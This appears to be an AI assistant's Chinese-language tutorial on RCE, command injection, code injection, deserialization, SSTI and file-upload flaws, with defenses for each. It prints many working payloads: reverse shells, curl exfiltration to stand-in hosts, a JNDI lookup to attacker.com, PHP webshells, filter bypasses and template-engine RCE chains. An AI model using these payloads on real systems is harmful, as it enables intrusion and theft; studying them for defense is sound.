RCE = Remote Code Execution ,中文叫远程代码执行。
它是网络安全里危害等级最高的一类漏洞之一,简单说就是:攻击者能让你服务器执行他想执行的任意代码或命令。
RCE 的两种常见形态
严格来说,RCE 常被用来统称下面两类,实际有细微区别:
| 类型 | 英文 | 含义 |
|---|---|---|
| 命令执行 | Command Injection | 执行的是系统命令 (如 whoami、ls) |
| 代码执行 | Code Injection | 执行的是编程语言代码(如 PHP、Python 代码) |
你上一个问题问的 OS命令执行 ,其实就是 RCE 中的命令注入这一类。所以两者的关系是:
RCE(远程代码执行)
├── 系统命令执行(OS Command Injection)
└── 代码执行(Code Injection)
为什么 RCE 这么危险
-
直接控制服务器:可以读写文件、执行任意程序
-
权限高:通常以 Web 服务账户权限运行,配合提权可拿到 root
-
可横向移动:作为跳板攻击内网其他机器
-
利用链终点:很多漏洞(文件上传、反序列化、SQL注入)最终目标就是拿到 RCE
在漏洞评级里,RCE 基本都属于 严重(Critical) 级别,CVSS 评分通常 9.0+。
常见的 RCE 成因
-
命令注入 :拼接用户输入调用
system()、exec() -
代码注入 :
eval()、assert()直接执行用户输入 -
反序列化漏洞:Java、PHP、Python 的反序列化
-
模板注入(SSTI):服务端模板引擎被注入代码
-
文件上传:上传 WebShell 后获得命令执行能力
-
表达式注入:SpEL、OGNL(如 Log4j2 漏洞)
典型例子
命令注入:
php
system("ping " . $_GET['ip']);
// 攻击:?ip=127.0.0.1; whoami
代码执行:
php
eval($_GET['code']);
// 攻击:?code=system('whoami');
Log4j2(CVE-2021-44228):
text
${jndi:ldap://attacker.com/exploit}
一个日志字符串就能触发远程代码执行,影响全球大量系统。
和几个易混概念的区别
| 概念 | 全称 | 执行的是什么 |
|---|---|---|
| RCE | Remote Code Execution | 远程执行代码/命令 |
| LFI | Local File Inclusion | 本地文件包含(可能升级为 RCE) |
| RFI | Remote File Inclusion | 远程文件包含(可直接 RCE) |
| SSRF | Server-Side Request Forgery | 服务端请求伪造(可探测内网) |
| SQLi | SQL Injection | 注入 SQL 语句 |
防御核心思路
-
不信任任何用户输入,白名单校验
-
避免拼接 ,用参数化 API(
subprocess列表传参、shell=False) -
禁用危险函数 :
eval、system、exec等 -
最小权限运行服务
-
及时打补丁,尤其是反序列化、Log4j 这类组件漏洞
一句话总结:RCE = 攻击者能在你服务器上"为所欲为",是渗透测试的终极目标之一。
命令注入(OS Command Injection)详解
一、本质
程序调用了系统命令执行函数(system、exec、popen、shell_exec 等),并且把用户可控的输入拼接进了命令字符串,导致用户可以"越界"执行额外命令。
核心公式:
text
用户输入 + 命令拼接 + 未过滤 = 命令注入
二、漏洞产生的必要条件
-
程序调用了系统命令(不是所有业务都需要)
-
命令字符串包含用户输入
-
输入未做严格过滤或转义
三者缺一不可。只要有一个环节断了,漏洞就不成立。
三、常见危险函数(按语言分)
PHP
php
system($cmd); // 执行并输出结果
exec($cmd, $out); // 执行,结果存数组
shell_exec($cmd); // 执行,返回字符串
passthru($cmd); // 执行并原样输出
popen($cmd, 'r'); // 打开进程
proc_open($cmd, ...); // 更底层的进程控制
反引号 `$cmd` // 等价 shell_exec
Python
python
os.system(cmd)
os.popen(cmd)
subprocess.run(cmd, shell=True) # shell=True 才危险
subprocess.Popen(cmd, shell=True)
commands.getoutput(cmd) # 老版本
Java
java
Runtime.getRuntime().exec(cmd);
ProcessBuilder(cmd);
Node.js
javascript
child_process.exec(cmd)
child_process.execSync(cmd)
child_process.spawn(cmd, {shell:true})
C/C++
c
system(cmd);
popen(cmd, "r");
execve(...);
四、命令拼接符(核心利用点)
不同系统支持的拼接符不一样,这是判断目标系统的重要线索。
Linux / Unix
| 符号 | 含义 | 示例 | 结果 |
|---|---|---|---|
; |
顺序执行 | a; b |
a 执行完执行 b |
| ` | ` | 管道 | `a |
| ` | ` | 逻辑或 | |
&& |
逻辑与 | a && b |
a 成功才执行 b |
& |
后台 | a & b |
a 后台运行,b 照常 |
````` | 命令替换 | b | b 结果替换到当前位置 | |
|||
$() |
命令替换 | $(b) |
同上 |
%0a |
换行 | a%0ab |
URL 编码的换行 |
Windows
| 符号 | 含义 |
|---|---|
& |
顺序执行 |
&& |
逻辑与 |
| ` | ` |
| ` |
关键差异 :Windows 一般不支持
;,Linux 一般不支持&之外的 Windows 风格组合。用;能通通常是 Linux。
五、判断漏洞是否存在
1. 时间盲注(最可靠)
text
?ip=127.0.0.1; sleep 5
?ip=127.0.0.1 && ping -n 5 127.0.0.1 (Windows)
如果响应延迟约 5 秒,说明命令被执行了。
2. 回显判断
text
?ip=127.0.0.1; whoami
?ip=127.0.0.1; id
?ip=127.0.0.1; uname -a
3. DNSlog 外带(无回显时)
text
?ip=127.0.0.1; ping `whoami`.dnslog.cn
?ip=127.0.0.1; curl http://dnslog.cn/$(whoami)
去 DNSlog 平台看有没有请求记录。
4. 写文件到 Web 目录
text
?ip=127.0.0.1; echo "<?php eval($_POST[1]);?>" > /var/www/html/shell.php
六、绕过技巧(WAF / 黑名单)
1. 空格绕过
text
cat$IFS/etc/passwd
cat${IFS}/etc/passwd
cat</etc/passwd
cat%09/etc/passwd (Tab)
2. 关键字绕过
text
w'h'o'am'i
w"h"o"a"m"i
who$@ami
wh\oami
3. 编码绕过
bash
# Base64
echo d2hvYW1p | base64 -d | bash
# Hex
echo 77686f616d69 | xxd -r -p | bash
# 变量拼接
a=who; b=ami; $a$b
4. 通配符绕过
text
cat /etc/pass*
cat /etc/pas?wd
cat /etc/[p]asswd
5. 无回显绕过
-
DNSlog :
ping $(whoami).dnslog.cn -
HTTP 外带 :
curl http://your-server/$(cat /flag) -
写文件:写到可访问目录再读
-
反弹 Shell :
bash -i >& /dev/tcp/ip/port 0>&1
6. 长度限制绕过
text
echo "payload" > /tmp/1
bash /tmp/1
或用 wget 下载远程脚本执行。
七、进阶利用
1. 反弹 Shell
bash
bash -i >& /dev/tcp/10.0.0.1/4444 0>&1
nc -e /bin/bash 10.0.0.1 4444
python -c 'import socket,subprocess,os;...'
2. 无回显盲注(布尔/时间)
bash
# 时间盲注:逐字符判断
if [ $(whoami | cut -c1) = r ]; then sleep 3; fi
3. 结合其他漏洞
-
命令注入 + 文件上传 = 上传 WebShell
-
命令注入 + SSRF = 内网探测
-
命令注入 + 提权 = 拿 root
八、真实案例
1. Shellshock(CVE-2014-6271)
Bash 环境变量解析漏洞,通过 HTTP 头注入命令:
text
User-Agent: () { :; }; /bin/bash -c "curl http://attacker/"
2. Struts2 系列
多个 S2 漏洞最终都能 RCE,本质是 OGNL 表达式注入 + 命令执行。
3. 各种 IoT 设备
路由器、摄像头固件里大量 system("ping " + user_input) 写法。
九、防御措施(重点)
1. 根本方案:不调用系统命令
php
// 错误
system("ping -c 1 " . $ip);
// 正确:用语言内置库
filter_var($ip, FILTER_VALIDATE_IP);
2. 白名单校验
php
if (!preg_match('/^[a-zA-Z0-9.\-]+$/', $ip)) {
die("invalid");
}
3. 参数化调用(避免 shell 解析)
python
# 危险
subprocess.run("ping -c 1 " + ip, shell=True)
# 安全
subprocess.run(["ping", "-c", "1", ip], shell=False)
php
// PHP
$ip = escapeshellarg($ip);
system("ping -c 1 " . $ip);
4. 禁用危险函数
ini
; php.ini
disable_functions = system,exec,shell_exec,passthru,popen,proc_open
5. 最小权限
Web 服务用低权限账户运行,限制可执行命令。
6. 其他
-
WAF 拦截特殊字符(治标不治本)
-
容器隔离 / 沙箱
-
及时更新组件
十、一句话总结
命令注入的本质是用户输入混入了系统命令字符串 ,防御的核心是不拼接、用白名单、参数化调用。
代码执行(Code Injection)详解
一、本质
程序把用户输入当作代码来执行,而不是当作数据。攻击者可以注入编程语言代码(PHP、Python、Java 等),由服务器解释执行。
和命令注入的区别:
| 命令注入 | 代码执行 | |
|---|---|---|
| 执行对象 | 系统命令(whoami) |
编程语言代码(phpinfo()) |
| 依赖 | 系统 shell | 语言解释器/引擎 |
| 典型函数 | system、exec |
eval、assert |
| 危害 | 服务器命令级 | 可调用语言全部能力 |
代码执行通常比命令注入更灵活,因为可以直接调用语言的库函数。
二、常见危险函数(按语言分)
PHP
php
eval($code); // 最经典
assert($code); // 老版本可执行代码
preg_replace('/pattern/e', $code, $subject); // /e 修饰符(PHP<7)
create_function('', $code); // 内部等价 eval
call_user_func($func, $arg); // 动态调用
array_map($func, $arr); // 同上
usort($arr, $func);
${'func'}(); // 可变函数
Python
python
eval("...") # 执行表达式
exec("...") # 执行语句
compile("...", ...) # 编译后执行
__import__("os").system("...")
pickle.loads(...) # 反序列化(另讲)
Java
java
ScriptEngineManager manager = new ScriptEngineManager();
engine.eval(userInput); // 执行 JS 等脚本
以及表达式注入:SpEL、OGNL、MVEL、EL(这些归到 SSTI/表达式注入)。
JavaScript / Node.js
javascript
eval(code)
new Function(code)
setTimeout(code, 0) // 传字符串时执行
vm.runInNewContext(code)
三、PHP 代码执行的典型场景
1. 直接 eval
php
$code = $_GET['code'];
eval($code);
攻击:
text
?code=system('whoami');
?code=phpinfo();
?code=file_get_contents('/flag');
2. 一句话木马(WebShell 核心)
php
<?php @eval($_POST['cmd']); ?>
这就是最经典的代码执行后门,配合中国菜刀、蚁剑、冰蝎使用。
3. 动态函数调用
php
$func = $_GET['f'];
$func($_GET['arg']);
攻击:?f=system&arg=whoami
4. preg_replace /e(历史漏洞)
php
preg_replace('/.*/e', $_GET['code'], '');
/e 让替换结果当 PHP 代码执行,PHP 7 已移除。
5. 回调函数滥用
php
call_user_func($_GET['cb'], $_GET['arg']);
array_map($_GET['cb'], $arr);
攻击:?cb=system&arg=ls
四、代码执行 vs 命令执行的关系
-
代码执行能力更强 :可以调用语言的任意函数,包括
system、exec,等于间接实现命令执行 -
命令执行更直接:直接调系统命令
-
实战中两者常互相转化:
-
代码执行 →
system('whoami')→ 命令执行 -
命令执行 → 写 WebShell → 代码执行
-
一句话:代码执行是"更上层"的能力,往往危害更大。
五、利用思路
1. 信息收集
php
phpinfo();
var_dump(get_defined_functions());
2. 读文件
php
file_get_contents('/flag');
highlight_file('/flag');
show_source('/flag');
readfile('/flag');
3. 写文件
php
file_put_contents('shell.php', '<?php eval($_POST[1]);?>');
4. 执行命令
php
system('whoami');
exec('id');
passthru('ls');
5. 反弹 Shell
php
system('bash -i >& /dev/tcp/ip/port 0>&1');
6. 绕过 disable_functions
如果 system、exec 被禁:
-
LD_PRELOAD 劫持
-
PHP-FPM 攻击
-
imap_open 漏洞(CVE-2018-19518)
-
GC UAF(PHP 7.x)
-
Shellshock
-
Apache Mod_CGI
-
利用
putenv+mail()等
六、绕过技巧
1. 关键字绕过
php
// 拼接
$f = 'sys'.'tem'; $f('whoami');
// 变量函数
$a = 'system'; $a('whoami');
// 大小写(不区分大小写函数无效,但可绕 WAF)
System('whoami');
// 进制
"\x73\x79\x73\x74\x65\x6d"('whoami');
// 字符串反转
strrev('metsys')('whoami');
2. 无字母数字 Webshell
利用异或、取反、自增等构造任意字符:
php
$_=('%01'^'`'); // 异或得到 'a'
(这是 CTF 经典题型)
3. 过滤 eval 但可用其他
-
assert(老 PHP) -
create_function -
preg_replace /e -
ob_start+ 回调
4. 无回显
-
写文件到 Web 目录
-
DNSlog 外带
-
反弹 Shell
七、真实案例
1. 一句话木马生态
中国菜刀、蚁剑、冰蝎、哥斯拉------本质都是客户端 + 服务端代码执行后门。
2. PHP assert 漏洞
老版本 assert 可执行任意代码,很多 CMS 被利用。
3. preg_replace /e
WordPress、Discuz 等历史漏洞常客。
4. Java 表达式注入
-
Struts2 OGNL
-
Spring SpEL
-
Log4j2 JNDI(也算代码执行链)
八、防御措施
1. 根本:不要执行用户输入
php
// 绝对禁止
eval($_GET['code']);
2. 禁用危险函数
ini
disable_functions = eval,assert,create_function,system,exec,shell_exec,passthru,popen,proc_open,pcntl_exec
注意:
eval是语言结构,不能直接 disable,需要靠代码审计。
3. 白名单动态调用
php
$allowed = ['a', 'b', 'c'];
if (in_array($_GET['f'], $allowed)) {
$_GET['f']();
}
4. 输入校验 + 转义
对进入 eval 类函数的输入做严格白名单。
5. 最小权限
-
Web 账户低权限
-
open_basedir 限制
-
容器隔离
6. 代码审计
重点搜索:eval、assert、preg_replace /e、call_user_func、array_map、动态 $func()。
九、一句话总结
代码执行 = 用户输入被当成代码跑,能力比命令执行更强,是 WebShell 和大量 RCE 漏洞的核心。
反序列化漏洞详解
一、先理解序列化与反序列化
序列化:把对象(内存中的数据结构)转换成可存储/传输的格式(字符串或字节流)。
反序列化:把字符串/字节流还原成对象。
用途:跨进程传输、存缓存、存 session、RPC 调用等。
问题 :反序列化时,程序会根据数据自动创建对象、设置属性、触发方法。如果数据被攻击者控制,就能构造恶意对象,触发危险方法链。
一句话本质:
反序列化 = 让程序"自动"按攻击者的数据重建对象,并在这个过程中执行了攻击者想要的代码。
二、各语言的序列化格式
PHP
php
serialize($obj) // 序列化
unserialize($str) // 反序列化
格式:
text
O:4:"User":2:{s:4:"name";s:3:"tom";s:3:"age";i:18;}
O:对象,s:字符串,i:整数,a:数组,b:布尔
Java
java
ObjectOutputStream.writeObject(obj) // 序列化
ObjectInputStream.readObject() // 反序列化
格式:二进制字节流,以 AC ED 00 05 开头(魔数)。
Python
python
pickle.dumps(obj) # 序列化
pickle.loads(data) # 反序列化
yaml.load(data) # YAML 反序列化也危险
格式:pickle 协议,有 __reduce__ 等魔术方法可被利用。
.NET
csharp
BinaryFormatter.Serialize / Deserialize
同样有 ObjectDataProvider、TypeConfuseDelegate 等利用链。
三、PHP 反序列化
1. 魔术方法(核心)
反序列化时会自动触发这些方法:
| 方法 | 触发时机 |
|---|---|
__construct |
创建对象时 |
__destruct |
对象销毁时 |
__toString |
对象被当字符串用 |
__wakeup |
unserialize 时 |
__sleep |
serialize 时 |
__call |
调用不存在的方法 |
__get |
读取不存在的属性 |
__set |
写入不存在的属性 |
__invoke |
对象被当函数调用 |
漏洞点 :__wakeup、__destruct、__toString 里如果有危险操作,就能被利用。
2. 经典利用:POP Chain
POP = Property-Oriented Programming(面向属性编程)。
思路:从入口魔术方法出发,顺着对象属性引用,串起一条能到达危险函数(如 system、eval)的调用链。
示例:
php
class A {
public $cmd;
function __destruct() {
eval($this->cmd); // 危险点
}
}
// 攻击 payload
$obj = new A();
$obj->cmd = "system('whoami');";
echo serialize($obj);
// O:1:"A":1:{s:3:"cmd";s:16:"system('whoami');";}
3. 绕过 __wakeup
-
CVE-2016-7124 :属性个数大于真实个数时,
__wakeup不执行text
O:1:"A":2:{s:3:"cmd";s:...;} // 声称2个属性,实际1个
4. 绕过正则过滤
-
O:被过滤 → 用C:(自定义序列化) -
大小写、加号
+、%00等
5. Phar 反序列化(重点)
PHP 中 phar:// 伪协议读取文件时,会自动反序列化 phar 元数据 ,即使代码里没有 unserialize 也能触发。
php
file_get_contents('phar://uploaded.phar/test.txt');
只要文件操作函数的参数可控且能用 phar://,就能触发 POP Chain。
这是很多 CTF 和真实漏洞的考点。
四、Java 反序列化
1. 入口
java
ObjectInputStream.readObject()
只要数据可控,就可能被利用。
2. 常见触发点
-
HTTP 请求参数(Base64 反序列化)
-
RMI、JNDI
-
Shiro、Fastjson、Jackson、XStream 等组件
-
WebLogic、WebSphere 等中间件
3. 利用链(Gadget Chain)
Java 利用链依赖已有类库里的方法链。经典链:
| 链名 | 依赖库 |
|---|---|
| CommonsCollections(CC1~CC7) | Apache Commons Collections |
| CommonsBeanutils | Commons BeanUtils |
| Spring | Spring 框架 |
| Groovy | Groovy |
| JDK7u21 | JDK 原生 |
| URLDNS | JDK 原生(用于探测) |
URLDNS 是最简单的探测链:不发命令,只触发一次 DNS 请求,用来判断是否存在反序列化漏洞。
4. 工具
-
ysoserial:生成各种利用链 payload
text
java -jar ysoserial.jar CommonsCollections1 "whoami" > payload.bin -
marshalsec:JNDI 相关
-
JNDI-Injection-Exploit
5. JNDI 注入(Log4j2 的核心)
java
InitialContext.lookup("ldap://attacker/exploit");
攻击者控制 LDAP/RMI 服务,返回恶意类,目标加载后 RCE。
Log4j2(CVE-2021-44228):
text
${jndi:ldap://attacker.com/exploit}
一个日志字符串就触发,影响全球。
6. Fastjson / Jackson
-
Fastjson :
@type指定类,自动调用 setter/getter,历史多个 RCE -
Jackson :
enableDefaultTyping时危险
五、Python 反序列化
1. pickle
python
import pickle
pickle.loads(user_input) # 危险
利用 __reduce__:
python
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(Exploit())
2. PyYAML
python
yaml.load(user_input) # 危险
yaml.safe_load(user_input) # 安全
!!python/object/apply:os.system 等标签可执行命令。
3. 其他
-
jsonpickle -
dill -
Django session(签名问题)
六、.NET 反序列化
-
BinaryFormatter、LosFormatter、NetDataContractSerializer -
利用链:
ObjectDataProvider、TypeConfuseDelegate
七、利用流程(通用)
text
1. 找到反序列化入口(readObject / unserialize / pickle.loads)
2. 判断是否可控
3. 确认目标环境有哪些类库
4. 构造/选择利用链(POP Chain / Gadget Chain)
5. 生成 payload
6. 发送,触发 RCE
八、防御措施
1. 根本:不反序列化不可信数据
-
用 JSON、Protobuf 等纯数据格式替代
-
必须用序列化时,加签名/加密校验
2. 白名单校验类
java
// Java
ObjectInputStream ois = new ObjectInputStream(input) {
protected Class<?> resolveClass(ObjectStreamClass desc) {
if (!allowedClasses.contains(desc.getName())) {
throw new InvalidClassException("unauthorized");
}
return super.resolveClass(desc);
}
};
3. PHP
-
不用
unserialize处理用户输入 -
用
json_decode替代 -
禁止
phar://伪协议(phar.readonly=On只是不能写,读仍危险)
4. Python
-
用
yaml.safe_load -
不用
pickle处理外部数据
5. 组件升级
- Fastjson、Jackson、Log4j、Shiro、CommonsCollections 及时打补丁
6. 最小权限 + 隔离
- 即使被利用,限制影响范围
九、真实案例
| 漏洞 | 影响 |
|---|---|
| Log4j2(CVE-2021-44228) | 全球级,JNDI 注入 |
| Fastjson 多个 RCE | 阿里组件,影响巨大 |
| Shiro 反序列化(CVE-2016-4437) | rememberMe Cookie |
| WebLogic 反序列化 | 多个 CVE |
| PHP Phar 反序列化 | 文件操作触发 |
| Apache CommonsCollections | Java 利用链鼻祖 |
十、一句话总结
反序列化漏洞 = 攻击者控制序列化数据,让程序在还原对象时执行恶意代码。核心是找入口 + 串利用链,Java 靠 Gadget Chain,PHP 靠 POP Chain + 魔术方法。
SSTI 服务端模板注入详解
一、先理解模板引擎
模板引擎的作用:把数据 填充到模板里,生成最终输出(HTML、邮件、配置文件等)。
text
模板:Hello, {{ name }}!
数据:name = "Tom"
输出:Hello, Tom!
常见模板引擎:
| 语言 | 模板引擎 |
|---|---|
| Python | Jinja2、Mako、Tornado、Django Template |
| PHP | Twig、Smarty、Blade |
| Java | Freemarker、Velocity、Thymeleaf |
| Node.js | EJS、Pug、Handlebars |
| Ruby | ERB、Slim |
SSTI 的本质:
用户输入被当作模板内容(而不是模板变量)来渲染,导致模板语法被解析执行。
和代码执行的关系:SSTI 是代码执行的一种"变体",最终目标也是 RCE。
二、怎么产生的
关键区别:
python
# 安全:用户输入作为数据
render_template_string("Hello, {{ name }}", name=user_input)
# 危险:用户输入拼进模板字符串
render_template_string("Hello, " + user_input)
当用户输入被直接拼接进模板 ,模板引擎就会解析其中的 {``{ }}、{% %} 等语法。
典型漏洞代码:
python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/')
def index():
name = request.args.get('name', '')
return render_template_string('Hello, ' + name + '!')
攻击:
text
?name={{ 7*7 }}
如果返回 Hello, 49!,说明存在 SSTI。
三、如何判断是否存在 SSTI
1. 基础探测
text
{{ 7*7 }} → 49
${7*7} → 49
<%= 7*7 %> → 49
#{7*7} → 49
*{7*7} → 49
2. 判断模板引擎类型
不同引擎的语法不同,用不同 payload 试:
text
{{7*'7'}}
-
Jinja2 →
7777777 -
Twig →
49
text
${7*7}
- Freemarker / Velocity / Mako 可能支持
text
<%= 7*7 %>
- ERB / EJS
工具 :tplmap(类似 sqlmap,专门检测 SSTI)
四、Jinja2 利用(最经典)
1. 信息收集
jinja
{{ config }} # Flask 配置
{{ self }} # 当前模板对象
{{ ''.__class__ }} # 字符串类
{{ ''.__class__.__mro__ }} # 方法解析顺序
{{ ''.__class__.__base__.__subclasses__() }} # 所有子类
2. 找可利用类
Jinja2 的经典利用链:通过 __subclasses__() 找到能执行命令的类。
jinja
{{ ''.__class__.__mro__[1].__subclasses__() }}
会返回一堆类,找 subprocess.Popen、os._wrap_close 等。
3. 执行命令
jinja
# 方式一:找到 subprocess.Popen
{{ ''.__class__.__mro__[1].__subclasses__()[X]('whoami', shell=True, stdout=-1).communicate() }}
# 方式二:os._wrap_close
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['system']('whoami') }}
# 方式三:通过 __builtins__
{{ ''.__class__.__mro__[1].__subclasses__()[X].__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')") }}
4. 常用内置对象
jinja
{{ lipsum.__globals__ }} # 快速拿 globals
{{ cycler.__init__.__globals__.os }} # 拿 os 模块
{{ joiner.__init__.__globals__.os }}
{{ namespace.__init__.__globals__.os }}
{{ url_for.__globals__ }}
{{ get_flashed_messages.__globals__ }}
5. 过滤绕过
| 过滤 | 绕过 |
|---|---|
_ 被过滤 |
\x5f、request.args.x |
. 被过滤 |
` |
[] 被过滤 |
.__getitem__(0) |
{``{ }} 被过滤 |
{% %}、{# #} |
| 关键字被过滤 | 字符串拼接、编码、` |
os 被过滤 |
\x6f\x73、` |
示例:
jinja
{{ ''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')() }}
6. 无回显
-
写文件到 Web 目录
-
反弹 Shell
-
DNSlog 外带
五、其他模板引擎利用
1. Twig(PHP)
twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("whoami")}}
老版本 Twig 可利用 _self。
2. Freemarker(Java)
freemarker
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("whoami")}
或 ObjectConstructor、JythonRuntime 等。
3. Velocity(Java)
velocity
#set($e="e")
$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("whoami")
4. Thymeleaf(Java)
thymeleaf
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("whoami").getInputStream()).next()}__::.x
Thymeleaf 的表达式预处理 __${...}__ 是经典利用点。
5. Smarty(PHP)
smarty
{php}system('whoami');{/php}
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php eval($_POST[1]);?>",self::clearConfig())}
6. Mako(Python)
mako
${self.module.cache.util.os.system("whoami")}
<%
import os
os.system("whoami")
%>
7. ERB(Ruby)
erb
<%= system("whoami") %>
六、SSTI vs 其他漏洞
| 漏洞 | 注入对象 | 执行者 |
|---|---|---|
| SQL 注入 | SQL 语句 | 数据库 |
| 命令注入 | 系统命令 | Shell |
| 代码执行 | 语言代码 | 解释器 |
| SSTI | 模板语法 | 模板引擎 |
| 表达式注入 | SpEL/OGNL | 表达式引擎 |
SSTI 和表达式注入(SpEL、OGNL)本质相似,都是"数据被当代码解析"。
七、真实案例
| 案例 | 说明 |
|---|---|
| Flask Jinja2 SSTI | CTF 常客,Python Web 经典 |
| CVE-2019-11043 | PHP-FPM + Nginx 配置问题 |
| Apache OFBiz Freemarker | 多个 RCE |
| Thymeleaf 表达式注入 | Spring Boot 场景 |
| Atlassian Confluence SSTI | CVE-2023-22527 等 |
八、防御措施
1. 根本:不拼接模板
python
# 错误
render_template_string("Hello " + name)
# 正确
render_template_string("Hello {{ name }}", name=name)
# 或
render_template("index.html", name=name)
2. 用户输入只作为数据
模板内容固定,变量通过上下文传入。
3. 沙箱 / 限制
-
Jinja2 的
SandboxedEnvironment -
禁用危险对象(
__globals__、__subclasses__)
4. 白名单
如果必须动态模板,限制可用语法和变量。
5. 及时更新
模板引擎历史漏洞不少,保持最新。
6. 最小权限
Web 服务低权限运行。
九、一句话总结
SSTI = 用户输入被当成模板语法解析执行。核心是找模板引擎 → 构造利用链 → 调危险对象执行命令 。Jinja2 的
__subclasses__链是最经典的。
文件上传漏洞详解
一、本质
程序允许用户上传文件,但未对文件类型、内容、路径做严格校验,导致攻击者可以上传恶意文件(通常是 WebShell),进而控制服务器。
核心公式:
text
上传功能 + 校验不严 + 文件可被解析 = 文件上传漏洞
关键点 :上传本身不是漏洞,上传的文件能被服务器当作代码执行才是漏洞。
二、漏洞产生的条件
-
有上传功能(头像、附件、导入等)
-
校验不严(类型、后缀、内容、路径任一环节)
-
上传目录可访问(能通过 URL 访问到)
-
上传目录可解析(服务器会执行该目录下的脚本)
四个条件缺一不可。
三、常见校验方式与绕过
1. 前端 JS 校验(最弱)
只靠浏览器 JS 检查后缀,抓包改包即可绕过。
绕过:Burp 拦截,改文件名后缀,或直接禁用 JS。
2. Content-Type 校验
检查 HTTP 头 Content-Type,如只允许 image/jpeg。
绕过 :抓包改 Content-Type: image/jpeg。
3. 后缀黑名单
禁止 .php、.jsp、.asp 等。
绕过方式:
| 技巧 | 示例 |
|---|---|
| 大小写 | .PHP、.PhP |
| 双写 | .pphphp(过滤一次后变 .php) |
| 特殊后缀 | .php3、.php4、.php5、.phtml、.pht |
| 空格/点 | .php、.php.(Windows 特性) |
%00 截断 |
.php%00.jpg(老版本 PHP) |
::$DATA |
.php::$DATA(Windows NTFS) |
| 分号 | .php;.jpg(部分环境) |
| 换行 | .php%0a |
4. 后缀白名单
只允许 .jpg、.png 等。
绕过思路:
-
解析漏洞(见下文)
-
配合文件包含:上传图片马,用 LFI 包含执行
-
.htaccess :上传
.htaccess让.jpg当 PHP 解析
5. 文件内容校验
检查文件头(Magic Bytes),如 FF D8 FF(JPEG)。
绕过:图片马------在正常图片后追加 PHP 代码。
text
GIF89a<?php eval($_POST[1]);?>
或用 copy /b 1.jpg + shell.php 2.jpg 合成。
6. 文件头 + 后缀双重校验
需要组合绕过,比如图片马 + 解析漏洞。
四、解析漏洞(重点)
服务器或中间件对文件解析的"特性",能让非脚本文件被当脚本执行。
1. Apache 解析漏洞
-
多后缀 :
shell.php.jpg→ Apache 从右往左解析,遇到.php就当 PHP -
.htaccess :上传
.htaccess内容AddType application/x-httpd-php .jpg,让.jpg被当 PHP
2. Nginx 解析漏洞
-
CVE-2013-4547 :
shell.jpg%20.php -
配置不当 :
/upload/shell.jpg/x.php可能解析为 PHP
3. IIS 解析漏洞
-
分号 :
shell.asp;.jpg -
目录解析 :
shell.asp/1.jpg,shell.asp目录下文件都当 ASP -
IIS 6.0 特有
4. PHP CGI 解析漏洞
-
CVE-2012-1823 :
?-.php参数注入 -
Nginx + PHP-FPM :
shell.jpg/1.php
5. PHP-FPM 解析漏洞
- CVE-2019-11043:Nginx + PHP-FPM 配置问题,可 RCE
五、利用流程
text
1. 找上传点(头像、附件、编辑器、导入)
2. 测试允许的后缀
3. 尝试绕过校验
4. 上传 WebShell
5. 访问 WebShell,执行命令
6. 提权 / 横向移动
WebShell 示例(PHP):
php
<?php @eval($_POST['cmd']); ?>
text
<?php system($_GET['c']); ?>
text
<?php @assert($_POST[1]); ?>
连接工具:中国菜刀、蚁剑、冰蝎、哥斯拉。
六、进阶利用
1. 图片马 + 文件包含
上传图片马(含 PHP 代码),再用 LFI 包含:
text
?file=upload/shell.jpg
2. .htaccess / .user.ini
-
.htaccess(Apache):
text
AddType application/x-httpd-php .jpg -
.user.ini(PHP-FPM):
text
auto_prepend_file=shell.jpg让同目录下所有 PHP 文件自动包含
shell.jpg。
3. 竞争上传
上传后文件被删除前,快速访问执行(条件竞争)。
4. 软链接 / 压缩包
-
上传包含软链接的压缩包,解压后指向敏感文件
-
Zip Slip:路径穿越写文件
5. 无回显 / 无解析
-
配合其他漏洞
-
上传到可访问目录后直接访问
七、真实案例
| 案例 | 说明 |
|---|---|
| 各类 CMS 上传漏洞 | DedeCMS、WordPress 插件等 |
| 编辑器漏洞 | UEditor、FCKeditor、KindEditor |
| CVE-2017-12615 | Tomcat PUT 上传 |
| CVE-2019-11043 | PHP-FPM 解析 |
| Weblogic 上传 | 多个 CVE |
| 泛微 OA、致远 OA | 国产 OA 上传漏洞常客 |
八、防御措施(重点)
1. 后缀白名单(最有效)
php
$allowed = ['jpg', 'jpeg', 'png', 'gif'];
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
if (!in_array($ext, $allowed)) die("invalid");
注意:用
pathinfo而非explode,防止多后缀绕过。
2. 文件内容校验
-
检查 Magic Bytes
-
用
getimagesize()验证图片 -
重新生成图片(GD 库处理),丢弃原始内容
3. 重命名文件
上传后随机重命名,去掉用户可控后缀:
php
$newName = md5(time()) . '.jpg';
4. 上传目录不可解析
nginx
location /upload/ {
location ~ \.php$ { deny all; }
}
或上传目录与 Web 根分离。
5. 限制上传目录权限
-
不可执行
-
独立存储(对象存储、CDN)
6. 禁止 .htaccess / .user.ini
黑名单或直接拒绝。
7. 文件头 + 后缀双重校验
8. WAF / 云防护
9. 最小权限
Web 服务低权限运行。
九、一句话总结
文件上传漏洞 = 上传的文件被服务器当代码执行。核心是绕过校验 + 利用解析 ,最终上传 WebShell 拿权限。防御靠白名单 + 内容校验 + 重命名 + 目录不可解析。
